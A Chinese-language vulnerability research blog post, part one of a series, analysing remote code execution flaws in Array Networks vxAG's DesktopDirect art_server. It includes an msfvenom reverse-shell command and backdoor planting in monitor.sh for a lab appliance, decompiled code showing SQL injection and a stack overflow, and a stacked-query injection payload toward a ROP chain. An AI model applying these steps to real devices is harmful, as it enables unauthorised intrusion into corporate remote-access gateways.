Array Networks vxAG 远程代码执行漏洞分析 (一) 2022 年 Array Networks 官方发布了数个影响 AG/vxAG 设备的远程代码执行漏洞公告,官方披露信息较少,难以界定本文提到的漏洞和公告中的是否一致,因此文章内容仅供参考。由于环境配置和漏洞分析利用较为复杂,所以文章将分为两部分,本文为第一部分。(分析版本基于 9.4.0.5)
环境准备 镜像下载链接:vxAG
得到镜像之后导入 Vmware 开机,等待启动完成会提示输入账户登录,默认账户为 array:admin。登录到 CLI,先配置网络,相关命令:
1 2 3 4 5 enable <提示输入密码,直接回车> configure terminal ip address port1 192.168.0.151 255.255.255.0 exit
配置好之后浏览器访问链接 https://192.168.0.151:8888 使用默认账户登录即可。
代码和权限获取 网络配置完毕,我们需要拿到文件系统以便于进行代码审计分析。获取代码采用比较常规的思路,即尝试将虚拟机磁盘挂载出来,拷贝文件系统或植入后门。
先关闭虚拟机,卸载磁盘,然后将磁盘挂载到另一台 Linux 虚拟机上,可以识别到以下分区
不过尝试点击分区打开时,会出现错误信息:
这是因为 vxAG 是基于 FreeBSD 系统开发的,FreeBSD 使用 UFS 文件系统,Linux 对 UFS 的识别可能存在一些问题,我们尝试用 mount 命令挂载
1 sudo mount -r -t ufs -o ufstype=ufs2 /dev/sdb10 ./sdb10
这样就可以挂载成功,业务相关程序位于 /dev/sdb7 中,先将文件打包到本地。
由于设备不提供 root shell,为了方便后续调试需要在系统中植入后门,不过直接从 Linux 上没办法修改 UFS 文件系统,如果想修改,需要安装一系列工具和内核驱动模块,其过程比较复杂且存在失败风险。我们可以采取更好的方案,安装一份 FreeBSD 系统,将磁盘挂载到此系统即可进行读写操作。
FreeBSD 7.0 的下载链接 ,下载 disc1 即可,安装过程参考手册 。
进入 FreeBSD 系统先修改 /etc/ssh/sshd_config 配置文件,添加 PermitRootLogin yes 选项允许 root 用户登录,关机将磁盘挂载上去,开机从 ssh 登录。挂载目标磁盘时应使用 IDE 类型。
在 /dev 目录下可以看到 ad0 设备,对应目标硬盘。文件系统位于 ad0s1e 分区中,使用下面的命令将分区挂载到本地
1 2 fsck -y /dev/ad0s1e mount /dev/ad0s1e ./test
植入后门时我们希望对系统的改动最小,不影响正常功能,经分析发现位于 /ca/bin 目录下的 monitor.sh 脚本在执行 CLI 命令 debug monitor 时会被调用,可以考虑在这个脚本开头加入一些后门命令。
利用 msf 生成木马文件
1 msfvenom -p bsd/x64/shell_reverse_tcp LHOST=192.168.0.161 LPORT=12345 -f elf > my_shell
把木马放在 /ca/bin 目录下,赋予 SUID 权限,然后在 monitor.sh 开头添加启动命令
另外,可以将 /etc/master.passwd 中的 root 密码修改成已知的,方便后续操作。
保存修改卸载磁盘,将磁盘重新挂载回 array 系统上,开机进入 CLI,先在接收端监听端口,然后执行下面的命令
1 2 3 4 enable configure terminal debug monitor off debug monitor on
在接收端收到反弹 shell:
在命令行中执行
1 pw user mod array -g wheel
允许 array 用户使用 su 切换,然后执行命令
1 2 mv /ca/bin/ca_shell /ca/bin/ca_shell_bak ln -s /bin/csh /ca/bin/ca_shell
从 ssh 以 array 用户身份登录,再 su 切换到 root 用户即可得到完整的 shell 环境。
漏洞分析 本文要介绍的漏洞位于设备 DesktopDirect 功能上,根据官方描述,这是一个类似 VPN 的远程接入功能,允许企业员工在任何地点的任何设备上安全的接入公司网络。这个功能默认运行在 TCP 9090 端口上,对应二进制程序 art_server。
art_server 是一个基于 lighttpd 开发的 web 服务程序,对应配置文件 /ca/bin/art_server.conf,我们直接对它逆向分析。
程序包含符号信息,加上 lighttpd 源码辅助可以快速对功能点进行定位,我们找到关键入口函数 mod_art_server_uri_handler,这个函数会根据用户的请求 URI 调用不同功能,URI 包括
1 2 3 4 5 6 7 /smx /prequery /query /object /portal /replication /test
每个 URI 对应不同函数,大部分操作都是对本地 sqlite 数据库 /ca/bin/artdb 的增删改查,举例来说,路由 /replication 下包含几个子路由 /groupinfo、/notification、/join 等,其中 /groupinfo 对应函数 handle_replication_group_info_req 的部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 xmlBuf = 0LL ; reqDoc = 0LL ; repDoc = 0LL ; db = 0LL ; peers = 0LL ; groupID = 0LL ; res = 0LL ; prmCon->http_status = 500 ; data = get_post_content(prmData, prmServer, prmCon, 1 ); reqDoc = xmlParseMemory(data->ptr, data->used); if ( !reqDoc ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) failed to parse request (1)" , "handle_replication_group_info_req" ); goto proc_done; } root = xmlDocGetRootElement(reqDoc); if ( !root ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) failed to parse request (2)" , "handle_replication_group_info_req" ); goto proc_done; } for ( reqNode = root->children; reqNode && strcmp (reqNode->name, "GroupInfoRequest" ); reqNode = reqNode->next ) ; if ( !reqNode ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) failed to parse request (3)" , "handle_replication_group_info_req" ); goto proc_done; } ret = artdb_open(&db, 0 ); if ( ret ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) Failed to get replication information (1)" , "handle_replication_group_info_req" ); goto proc_done; } repDoc = xmlNewDoc("1.0" ); root = xmlNewNode(0LL , "ART_REP" ); xmlDocSetRootElement(repDoc, root); repNode = xmlNewChild(root, 0LL , "GroupInfoReply" , 0LL ); ret = artdb_rep_get_group_id(db, &groupID); if ( ret ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) Failed to get replication group ID (%d)" , "handle_replication_group_info_req" , ret); goto proc_done; } if ( groupID ) xmlNewProp(repNode, &off_6F0BED, groupID); ret = artdb_get_version(db, &dbVerMaj, &dbVerMin, &dbBuild); if ( ret ) { if ( englog_is_on() ) englog_helper( 1u , 1u , "(%s) Failed to get ART server version information (%d)" , "handle_replication_group_info_req" , ret); goto proc_done; } sprintf (st, "%d" , dbVerMaj); xmlNewProp(repNode, "DBMaj" , st); sprintf (st, "%d" , dbVerMin); xmlNewProp(repNode, "DBMin" , st); sprintf (st, "%d" , dbBuild); xmlNewProp(repNode, "DBBuild" , st);
代码中使用 artdb_open 打开数据库,然后通过 artdb_rep_get_group_id 等 API 从数据库中查询相关数据,最后将结果转换成 XML 格式返回。其他接口功能类似。
请求和响应样例:
1 2 3 4 5 6 7 8 9 POST /replication/groupinfo HTTP/1.1 Host: 127.0.0.1 Content-Type: application/xml Content-Length: 58 <xml> <GroupInfoRequest> </GroupInfoRequest> </xml>
1 2 3 4 5 6 7 HTTP/1.1 200 OK Content-Length: 98 Date: Wed, 16 Nov 2022 05:56:44 GMT Server: lighttpd/1.4.35 <?xml version="1.0"?> <ART_REP><GroupInfoReply GID="" DBMaj="4" DBMin="0" DBBuild="7"/></ART_REP>
通过对各个功能进行分析,可以找到多处使用不安全 API 处理字符数据的代码片段,例如函数 artdb_get_user_id:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int __cdecl artdb_get_user_id (sqlite3_0 *prmDB, int prmInstID, char *prmUsername, int *prmUserID) { int v4; int v6; char sql[2049 ]; char *eMsg; int rows; int cols; char **tblRes; if ( prmDB ) { eMsg = 0LL ; sprintf ( sql, "select * from %s where (%s=%d) and (lower(%s)=lower('%s'))" , "localusers" , "inst_id" , prmInstID, "uname" , prmUsername); if ( sqlite3_get_table(prmDB, sql, &tblRes, &rows, &cols, &eMsg) ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) failed to get users table (%s)" , "artdb_get_user_id" , eMsg); sqlite3_free(eMsg); v6 = -4 ; } else { if ( rows <= 0 ) { *prmUserID = -1 ; } else { v4 = artdb_table_cell(0 , 1 , cols); *prmUserID = atoi(tblRes[v4]); if ( rows > 1 && englog_is_on() ) englog_helper(1u , 2u , "(%s) username %s has more than one row (%d)" , "artdb_get_user_id" , prmUsername, rows); } sqlite3_free(eMsg); sqlite3_free_table(tblRes); v6 = 0 ; } } else { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) NULL database pointer" , "artdb_get_user_id" ); v6 = -2 ; } return v6; }
第 14 行使用 sprintf 函数构造 sql 查询语句,其中 prmUsername 参数是我们可控的数据,有很多途径都可以触发,那么这里显然存在栈溢出漏洞。另外,构造出来的 sql 语句没有经过任何过滤就使用 sqlite3_get_table 执行,存在 sql 注入漏洞。
漏洞利用分析 首先考虑栈溢出,目标程序信息
1 2 3 4 5 6 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
没有开启保护措施,架构为 x64,由于数据是从 HTTP Query_String 传入的,所以不能出现特殊字符,如 00 字符。这就导致我们可能只能劫持返回地址,不能直接构造 ROP。
再次观察漏洞代码,sprintf 语句的 format string 在可控数据之后还有几个字符 '))
,由于这些字符会拼接在 payload 后面,导致也没办法劫持返回地址。
考虑 sql 注入漏洞,目标数据库是 sqlite,常规的利用思路可以从数据库中泄露某些敏感信息,或者是向 web 目录创建 php 后门、加载自己上传的 so 文件等。默认情况下 /ca/bin/artdb 中应该没有内容,上传文件或向 web 目录写 php 都需要先绕过 web 登录,也难以实现。
特殊形式的栈溢出 以上比较明显的漏洞暂时没有利用思路,继续分析代码。在 /query/hosts 路由对应的函数中有下面的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 gnames = buf_get_delim_param(prmCon->uri.query->ptr, "_role" ); if ( gnames || !check_device_identification_result(db, instID, userID, uname->ptr, prmCon, &devIDRes) ){ if ( gnames ) { buffer_urldecode_query(gnames); ret = artdb_get_groupIDs_by_request(db, instID, gnames->ptr, &groupIDs, &count); if ( ret ) goto done_and_close; } }
获取用户参数 _role,进行 url 解码之后传入 artdb_get_groupIDs_by_request 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int __cdecl artdb_get_groupIDs_by_request (sqlite3_0 *prmDB, int instID, char *gnames, int **prmGroupIDs, int *prmCount) { int groupID; int groupIDs[1024 ]; char *pCur; char *pNext; char *pName; int ret; int i; ret = 0 ; i = 0 ; for ( pCur = gnames; pCur; pCur = pNext + 1 ) { pNext = strchr (pCur, ':' ); if ( !pNext ) { pName = pCur; ret = artdb_get_group_id(prmDB, instID, pCur, &groupID); if ( ret ) return -4 ; if ( groupID != -1 ) groupIDs[i++] = groupID; break ; } pName = pCur; *pNext = 0 ; ret = artdb_get_group_id(prmDB, instID, pName, &groupID); if ( ret ) return -4 ; if ( groupID != -1 ) groupIDs[i++] = groupID; } *prmCount = i; if ( !i ) goto LABEL_20; *prmGroupIDs = malloc (4LL * i); if ( *prmGroupIDs ) { memset (*prmGroupIDs, 0 , 4LL * i); memcpy (*prmGroupIDs, groupIDs, 4LL * i); LABEL_20: ret = 0 ; return 0 ; } if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) failed to allocate the user_webaclIDS (%d)" , "artdb_get_groupIDs_by_request" , 4LL ); return -5 ; }
函数第三个参数是用户可控的 _role 参数,进入 for 循环对该字符串遍历,每次都寻找冒号。获取冒号之前的一项,将其作为参数传入 artdb_get_group_id 函数。由此可以推断 _role 是一种用冒号分隔的字符串数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int __cdecl artdb_get_group_id (sqlite3_0 *prmDB, int prmInstID, char *prmGroupname, int *prmGroupID) { int v4; int v6; char sql[2049 ]; char *eMsg; int rows; int cols; char **tblRes; if ( prmDB ) { eMsg = 0LL ; sprintf ( sql, "select * from %s where %s=%d and %s='%s'" , "localgroups" , "inst_id" , prmInstID, "groupname" , prmGroupname); if ( sqlite3_get_table(prmDB, sql, &tblRes, &rows, &cols, &eMsg) ) { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) failed to get groups table (%s)" , "artdb_get_group_id" , eMsg); sqlite3_free(eMsg); v6 = -4 ; } else { if ( rows <= 0 ) { *prmGroupID = -1 ; } else { v4 = artdb_table_cell(0 , 1 , cols); *prmGroupID = atoi(tblRes[v4]); if ( rows > 1 && englog_is_on() ) englog_helper( 1u , 2u , "(%s) groupname %s has more than one row (%d)" , "artdb_get_group_id" , prmGroupname, rows); } sqlite3_free(eMsg); sqlite3_free_table(tblRes); v6 = 0 ; } } else { if ( englog_is_on() ) englog_helper(1u , 1u , "(%s) NULL database pointer" , "artdb_get_group_id" ); v6 = -2 ; } return v6; }
这里从 localgroups 表中查找对应的 groupname 条目,获取到它的 groupID,经过 atoi 转换成 int 型数据返回。
返回之后在循环中将 ID 赋值到位于栈的数组 groupIDs 中,然后再处理下一项数据。向数组插入多少数据是根据 _role 参数中有多少项目决定的,也就是说如果数据库中的内容可控,那么我们就可以构造较长的 _role 参数,循环不断向 groupIDs 数组写入内容,最终将导致栈溢出。
这个栈溢出和其他位置的不同,由于写入的数据是 int 类型,我们无需担心特殊字符的问题,可以直接构造 ROP 完成利用。
控制数据库 我们已经有 sql 注入漏洞,由于 sqlite 的特性,在一条 sql 语句之后拼接分号可以执行另一条语句。所以可以先将原始查询语句正确闭合,在分号后面向 localgroups 表中插入 payload 数据,最后注释掉后续的非法字符即可控制数据库中的数据。
sql 注入点有很多,我们选择 /query/clientverification2 路由,考察注入点:
1 2 3 4 5 6 7 8 sprintf ( sql, "select * from %s where (%s=%d) and (lower(%s)=lower('%s'))" , "localusers" , "inst_id" , prmInstID, "uname" , prmUsername);
和之前介绍的语句一样,注入部分首先构造字符串 array'));
对 select 语句进行闭合,然后构造 insert 语句将数据插入表中,例如
1 insert/**/into/**/localgroups/**/(group_id,inst_id,groupname,params)/**/values/**/(123,1,"test","p");/**/--
空格部分用 /**/
替代。
利用分析 漏洞本质上是栈溢出,所以基本思路就是构造 ROP 去调用 system 执行命令。不过在利用过程中存在一些细节问题。
1. 指针问题
观察漏洞函数变量定义,在栈数组 groupIDs 下方有三个指针 pCur、pNext、pName,它们在 for 循环中起到定位的作用,如果在溢出过程中这些指针被非法数据覆盖,函数没执行到返回前就会崩溃。通过调试分析可以获取它们在被覆盖之前的值,在溢出数据中对这些值进行恢复即可。
2. 参数问题
由于溢出是以 int 型即每次 4 字节来覆盖的,所以我们的命令也要符合这个条件,每 4 字节取小端序,分批写入。
调试
系统中自带 gdb 程序,可直接在 shell 中调试。
你可以在 Github 上获取演示脚本。
演示 请观看下面的演示视频
本文内容到这里就结束了,我们将在下篇文章中介绍 License 和 VPN 的相关问题。